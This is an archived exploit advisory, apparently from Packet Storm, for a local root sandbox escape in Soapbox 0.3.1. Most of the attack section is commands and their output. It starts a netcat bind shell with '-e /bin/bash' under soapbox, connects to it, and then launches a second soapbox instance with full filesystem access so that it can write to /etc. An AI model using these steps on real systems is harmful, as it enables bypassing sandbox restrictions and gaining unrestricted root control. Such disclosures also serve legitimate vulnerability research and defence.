exploit the possibilities

Soapbox 0.3.1 Local Root

Soapbox 0.3.1 Local Root
Posted Oct 2, 2012
Authored by Jean Pascal Pereira

Soapbox version 0.3.1 suffer from a local root code execution vulnerability.

tags | exploit, local, root, code execution
MD5 | 143b80567cce41da2bbb880615310204

Soapbox 0.3.1 Local Root

Change Mirror Download
-----------------------------------
soapbox 0.3.1 <= Local Root Exploit
-----------------------------------

Vendor URI: http://dag.wieers.com/home-made/soapbox/

Credit: Jean Pascal Pereira <pereira@secbiz.de>

Description:

"Soapbox allows to restrict processes to write only to those places you want. Read-access however is still based on file-permissions. By preloading the Soapbox library, you can run programs as root and monitor which writes/changes are made, without them really happening. (Typically 'make install')

Beware this can be used for security-purposes, but it can deliberately be circumvented. Soapbox only impacts dynamically linked programs that properly use glibc functions. I'm currently looking into a safer implementation using ptrace.

Soapbox also triggered some bugs in applications that trusted system calls too much. So you can use soapbox to test your programs for these kinds of mistakes too."

------------------------------------------------------------------------------------------


First of all, we have to run soapbox on our target system.
I'm going to create a new netcat process spawned in a restricted directory (/etc/opt/sbx).

------------------------------------------------------------------------------------------
root@havoc:/etc/opt/sbx# soapbox -l log -p /etc/opt/sbx /bin/nc -l -v -p 4545 -e /bin/bash
------------------------------------------------------------------------------------------

After establishing a connection to our target system, we get a sandboxed root shell.
Let's try to write data to a protected location.

------------------------------------------------------------------------------------------
$ nc 23.5.0.0 4545
echo boom > /etc/abc
bash: line 1: 1: Bad file descriptor
------------------------------------------------------------------------------------------

As we can see, soapbox restricts write access to this path.
But what happens if we start another soapbox instance with full file-system access?

------------------------------------------------------------------------------------------
$ nc 23.5.0.0 4545
soapbox -l log -p / /bin/bash # running another instance of soapbox that provides full file system access
echo boom > /etc/abc
cat /etc/abc
boom # BOOM!
------------------------------------------------------------------------------------------

BOOM. Now we're able to start an unrestricted root shell and gain control over the file system.

(This is still a local exploit because we were only able to exploit that issue remotely by using netcat).


/* http://0xffe4.org */

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close